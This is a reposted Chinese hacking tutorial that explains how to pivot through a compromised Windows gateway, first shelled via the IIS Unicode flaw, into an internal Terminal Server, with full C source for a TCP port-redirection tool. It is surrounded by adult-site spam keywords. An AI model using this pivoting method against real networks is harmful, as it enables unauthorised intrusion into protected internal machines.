亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 學院 > 開發設計 > 正文

從源程序看原理:突破防火墻入侵內網

2019-11-17 05:01:38
字體:
來源:轉載
供稿:網友
  現在很多企業或者公司基本上網方式基本上都是申請一條連接到Internet的線路,寬帶、DDN、ADSL、ISDN等等,然后用一臺服務器做網關,服務器兩塊網卡,一塊是連接到Internet,另一塊是連接到內網的HUB或者交換機,然后內網的其他機器就可以通過網關連接到Internet。也許有些人會這樣想,我在內網之中,我們之間沒有直接的連接,你沒有辦法攻擊我。事實并非如此,在內網的機器同樣可能遭受到來自Internet的攻擊,當然前提是攻擊者已經取得網關服務器的某些權限,呵呵,這是不是廢話?其實,Internet上很多做網關的服務器并未經過嚴格的安全配置,要獲取權限也不是想象中的那么難。

  Ok!廢話就不說了,切入正題。我們的目標是用我們的TermClient[M$終端服務客戶端]連接到敵人內網的TermServer機器。M$的終端服務是一個很好的遠程治理工具,不是嗎?呵呵。沒有做非凡說明的話,文中提到的服務器OS都為windows 2000。服務器為linux或其他的話,原理也差不多,把程序稍微修改就行了。

  第一部分:利用TCP socket數據轉發進入沒有防火墻保護的內網

  假設敵人網絡拓撲如下圖所示,沒有安裝防火墻或在網關服務器上做TCP/ip限制。

  我們的目標是連接上敵人內網的Terminal

  Server[192.168.1.3],因為沒有辦法直接和他建立連接,那么只有先從它的網關服務器上下手了。假如敵人網關服務器是M$的windows 2k,IIS有Unicode漏洞[現在要找些有漏洞的機器太輕易了,但我只是scripts kid,只會利用現成的漏洞做些簡單的攻擊:(555),那么我們就得到一個網關的shell了,我們可以在那上面運行我們的程序,雖然權限很低,但也可以做很多事情了。Ok!讓我們來寫一個做TCP socket數據轉發的小程序,讓敵人的網關服務器忠實的為我[202.1.1.1]和敵人內網的TermServer[192.168.1.3]之間轉發數據。題外話:實際入侵過程是先取得網關服務器的權限,然后用他做跳板,進一步摸清它的內部網絡拓撲結構,再做進一步的入侵,現在敵人的網絡拓撲是我們給他設計的,哈哈。


  攻擊流程如下:

  <1>在網關服務器202.2.2.2運行我們的程序AgentGateWay,他監聽TCP 3389端口[改成別的,那我們就要相應的修改TermClient了]等待我們去連接。

  <2>我們202.1.1.1用TermClient連接到202.2.2.2:3389。

  <3>202.2.2.2.接受202.1.1.1的連接,然后再建立一個TCP socket連接到自己內網的TermServer[192.168.1.3]

  <4>這樣我們和敵人內網的TermServer之間的數據通道就建好了,接下來網關就忠實的為我們轉發數據啦。當我們連接到202.2.2.2:3389的時候,其實出來的界面是敵人內網的192.168.1.3,感覺怎么樣?:)

  程序代碼如下:
/*
Module Name:AgentGateWay.c
CopyRight(c) eyas
說明:端口重定向工具,在網關上運行,把端口重定向到內網的IP、PORT,
就可以進入內網了
sock[0]==>sClient sock[1]==>sTarget
*/
#include
#include
#include "TCPDataRedird.c"
#define TargetIP TEXT("192.168.1.3")
#define TargetPort (int)3389
#define ListenPort (int)3389//監聽端口
#PRagma comment(lib,"ws2_32.lib")
int main()
{
WSADATA wsd;
SOCKET sListen=INVALID_SOCKET,//本機監聽的socket
sock[2];
strUCt sockaddr_in Local,Client,Target;
int iAddrSize;
HANDLE hThreadC2T=NULL,//C2T=ClientToTarget
hThreadT2C=NULL;//T2C=TargetToClient
DWord dwThreadID;
__try
{
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
printf("/nWSAStartup() failed:%d",GetLastError());
__leave;
}
sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sListen==INVALID_SOCKET)
{
printf("/nsocket() failed:%d",GetLastError());
__leave;
}
Local.sin_addr.s_addr=htonl(INADDR_ANY);

Local.sin_family=AF_INET;
Local.sin_port=htons(ListenPort);

Target.sin_family=AF_INET;
Target.sin_addr.s_addr=inet_addr(TargetIP);
Target.sin_port=htons(TargetPort);

if(bind(sListen,(struct sockaddr
*)&Local,sizeof(Local))==SOCKET_ERROR)
{
printf("/nbind() failed:%d",GetLastError());
__leave;
}
if(listen(sListen,1)==SOCKET_ERROR)
{
printf("/nlisten() failed:%d",GetLastError());
__leave;
}
//scoket循環
while(1)
{
printf("/n/n*************Waiting Client Connect
to**************/n/n");
iAddrSize=sizeof(Client);
//get socket sClient
sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize);
if(sock[0]==INVALID_SOCKET)
{
printf("/naccept() failed:%d",GetLastError());
break;
}
printf("/nAccept client==>%s:%d",inet_ntoa(Client.sin_addr),
ntohs(Client.sin_port));
//create socket sTarget
sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock[1]==INVALID_SOCKET)
{
printf("/nsocket() failed:%d",GetLastError());
__leave;
}
//connect to target port
if(connect(sock[1],(struct sockaddr
*)&Target,sizeof(Target))==SOCKET_ERROR)
{
printf("/nconnect() failed:%d",GetLastError());
__leave;
}
printf("/nconnect to target 3389 success!");
//創建兩個線程進行數據轉發
hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
//等待兩個線程結束
WaitForSingleObject(hThreadC2T,INFINITE);
WaitForSingleObject(hThreadT2C,INFINITE);
CloseHandle(hThreadC2T);
CloseHandle(hThreadT2C);
closesocket(sock[1]);
closesocket(sock[0]);
printf("/n/n*****************Connection
Close*******************/n/n");
}//end of sock外循環
}//end of try
__finally
{
if(sListen!=INVALID_SOCKET) closesocket(sListen);
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
WSACleanup();
}
return 0;
}
/******
Module:TCPDataRedird.c
CopyRight(c) eyas
HomePage:www.patching.net
Thanks to shotgun
說明:TCP socket數據轉發,sock[0]==>sClient sock[1]==>sTarget
********/
#define BuffSize 20*1024 //緩沖區大小20k 
//此函數負責從Client讀取數據,然后轉發給Target
DWORD WINAPI TCPDataC2T(SOCKET* sock)
{
int iRet,
ret=-1,//select 返回值
iLeft,
idx,
iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize
char szSendToTargetBuff[BuffSize]=,
szRecvFromClientBuff[BuffSize]=;
fd_set fdread,fdwrite;
printf("/n/n*****************Connection
Active*******************/n/n");
while(1)
{
FD_ZERO(&fdread);
FD_ZERO(&fdwrite);
FD_SET(sock[0],&fdread);
FD_SET(sock[1],&fdwrite);
if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)

{
printf("/nselect() failed:%d",GetLastError());
break;
}
//printf("/nselect() return value ret=%d",ret);
if(ret>0)
{
//sClinet可讀,client有數據要發送過來
if(FD_ISSET(sock[0],&fdread))
{
//接收sock[0]發送來的數據
iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0);
if(iRet==SOCKET_ERROR)
{
printf("/nrecv() from sock[0] failed:%d",GetLastError());
break;
}
else if(iRet==0)
break;
printf("/nrecv %d bytes from sClinet.",iRet);
//把從client接收到的數據存添加到發往target的緩沖區
memcpy(szSendToTargetBuff+iSTTBCS,szRecvFromClientBuff,iRet);
//刷新發往target的數據緩沖區當前buff大小
iSTTBCS+=iRet;
//清空接收client數據的緩沖區
memset(szRecvFromClientBuff,0,BuffSize);
}
//sTarget可寫,把從client接收到的數據發送到target
if(FD_ISSET(sock[1],&fdwrite))
{
//轉發數據到target的3389端口
iLeft=iSTTBCS;
idx=0;
while(iLeft>0)
{
iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0);
if(iRet==SOCKET_ERROR)
{
printf("/nsend() to target failed:%d",GetLastError());
break;
}
printf("/nsend %d bytes to target",iRet);
iLeft-=iRet;
idx+=iRet;
}
//清空緩沖區
memset(szSendToTargetBuff,0,BuffSize);
//重置發往target的數據緩沖區當前buff大小
iSTTBCS=0;
}
}//end of select ret
Sleep(1);
}//end of data send & recv循環
return 0;
}
//此函數負責從target讀取數據,然后發送給client
DWORD WINAPI TCPDataT2C(SOCKET* sock)
{
int iRet,
ret=-1,//select 返回值
iLeft,
idx,
iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSize
char szRecvFromTargetBuff[BuffSize]=,
szSendToClientBuff[BuffSize]=;
fd_set fdread,fdwrite;

while(1)
{
FD_ZERO(&fdread);
FD_ZERO(&fdwrite);
FD_SET(sock[0],&fdwrite);
FD_SET(sock[1],&fdread);
if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
{
printf("/nselect() failed:%d",GetLastError());
break;
}
if(ret>0)
{
//sTarget可讀,從target接收數據
if(FD_ISSET(sock[1],&fdread))
{
//接收target返回數據
iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0);
if(iRet==SOCKET_ERROR)
{
printf("/nrecv() from target failed:%d",GetLastError());
break;
}
else if(iRet==0)
break;
printf("/nrecv %d bytes from target",iRet);
//把從target接收到的數據添加到發送到client的緩沖區
memcpy(szSendToClientBuff+iSTCBCS,szRecvFromTargetBuff,iRet);
//清空接收target返回數據緩沖區
memset(szRecvFromTargetBuff,0,BuffSize);
//刷新發送到client的數據緩沖區當前大小
iSTCBCS+=iRet;
}
//client可寫,發送target返回數據到client
if(FD_ISSET(sock[0],&fdwrite))
{
//發送target返回數據到client
iLeft=iSTCBCS;
idx=0;
while(iLeft>0)
{
iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0);
if(iRet==SOCKET_ERROR)
{
printf("/nsend() to Client failed:%d",GetLastError());
break;
}
printf("/nsend %d bytes to Client",iRet);
iLeft-=iRet;
idx+=iRet;
}
//清空緩沖區
memset(szSendToClientBuff,0,BuffSize);
iSTCBCS=0;

}
}//end of select ret
Sleep(1);
}//end of while
return 0;
}

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
国产亚洲欧洲在线| 国产一区二区三区在线观看网站| 亚洲精选中文字幕| 色婷婷亚洲mv天堂mv在影片| 日韩精品在线免费| 久久久久久美女| 日韩大陆欧美高清视频区| 国产婷婷97碰碰久久人人蜜臀| 国产97色在线| 国产日韩中文字幕| 国产亚洲精品久久久久久777| 日韩乱码在线视频| 久久国内精品一国内精品| 国内自拍欧美激情| 国产精品自在线| 久久久久国色av免费观看性色| 亚洲黄色av女优在线观看| 欧美性生活大片免费观看网址| 欧美黄网免费在线观看| 亚洲精品美女网站| 欧美国产高跟鞋裸体秀xxxhd| 久久国产精品影视| 欧美亚洲另类制服自拍| 一本色道久久88综合日韩精品| 欧美亚洲视频一区二区| 国产伦精品一区二区三区精品视频| 亚洲国产成人久久综合一区| 国产精品mp4| 精品视频久久久久久久| 欧美激情综合色| 日韩精品中文字幕在线播放| 色婷婷av一区二区三区在线观看| 日韩精品免费电影| 亚洲美女激情视频| 日韩欧美国产视频| 久久久精品免费| 欧美国产在线视频| 主播福利视频一区| 亚洲欧美国产精品| 久久国产精品影片| 全亚洲最色的网站在线观看| 亚洲美女av在线| 亚洲黄色在线看| 久久露脸国产精品| 丝袜亚洲欧美日韩综合| 色一情一乱一区二区| 国产精品一区二区久久久| 亚洲欧美国产日韩天堂区| 2024亚洲男人天堂| 俺去啦;欧美日韩| 国产精品精品国产| 国产一区二区丝袜| 成人h猎奇视频网站| 亚洲自拍另类欧美丝袜| 日韩免费精品视频| 中文字幕少妇一区二区三区| 亚洲一区二区三区香蕉| 91精品久久久久久久久青青| 国产欧美最新羞羞视频在线观看| 午夜精品久久久久久久99热浪潮| 欧美激情奇米色| 中文亚洲视频在线| 日本久久久a级免费| 国模吧一区二区三区| 国产69精品久久久久久| 国产成人一区二区三区电影| 亚洲成av人乱码色午夜| 国产精品96久久久久久又黄又硬| 日韩黄色av网站| 欧美日韩国产一中文字不卡| 欧美日韩国产va另类| 青青草一区二区| 亚洲精品久久7777777| 北条麻妃久久精品| 亚洲美女www午夜| 8x海外华人永久免费日韩内陆视频| 日韩大胆人体377p| 欧美激情一区二区三区在线视频观看| 成人日韩在线电影| 欧美性猛交xxxxx免费看| 亚洲美女又黄又爽在线观看| 亚洲尤物视频网| 中文字幕日韩精品有码视频| 亚洲人午夜精品免费| 国产精品7m视频| 成人黄色av免费在线观看| 国产午夜精品一区二区三区| 欧美精品成人91久久久久久久| 91精品美女在线| 亚洲天堂色网站| 国产视频亚洲视频| 国产在线视频2019最新视频| 久久久久国产精品免费| 日本免费一区二区三区视频观看| 亚洲色图校园春色| 欧美日韩国产精品一区二区三区四区| 91高清在线免费观看| 奇米成人av国产一区二区三区| 成人免费视频a| 亚洲一区二区久久久| 狠狠躁18三区二区一区| 91精品国产九九九久久久亚洲| www.美女亚洲精品| 精品国产拍在线观看| 日韩一区二区在线视频| 51色欧美片视频在线观看| 自拍偷拍亚洲区| 亚洲精品mp4| 国产成人精品av| 国产精品国产福利国产秒拍| 久久免费成人精品视频| 最近中文字幕日韩精品| 国产专区精品视频| 欧美性生交xxxxx久久久| 欧美猛男性生活免费| 久久久av电影| 国产自摸综合网| 国产欧美日韩91| 久久久91精品| 成人黄色生活片| 欧美日韩综合视频网址| 亚洲色图日韩av| 欧美视频免费在线观看| 精品一区二区三区电影| 亚洲黄在线观看| 国产精品免费视频xxxx| 成人国产亚洲精品a区天堂华泰| 欧美激情xxxx性bbbb| 欧美激情第99页| 国产精品高潮呻吟久久av无限| 国产视频丨精品|在线观看| 亚洲自拍另类欧美丝袜| 国产经典一区二区| 欧美特黄级在线| 日韩欧美成人免费视频| 欧美性xxxxhd| 国产精品普通话| 日韩中文字幕免费视频| 91在线视频九色| 最近2019中文免费高清视频观看www99| 国产亚洲激情在线| 日韩欧美成人免费视频| 亚洲区一区二区| 欧美另类在线播放| 尤物九九久久国产精品的分类| 97在线观看视频国产| 中文字幕亚洲一区| 日韩久久精品成人| 成人妇女免费播放久久久| 久久综合伊人77777尤物| 91影院在线免费观看视频| 精品久久久久人成| 欧美高清视频一区二区| 日韩电影网在线| 中文字幕亚洲一区二区三区五十路| 国产精品成人免费电影| 国产69久久精品成人看| 国产精品观看在线亚洲人成网| 久久99热这里只有精品国产| 国产在线精品播放| 成人春色激情网| 日韩经典一区二区三区| 国产精品入口日韩视频大尺度| 欧美成人午夜剧场免费观看|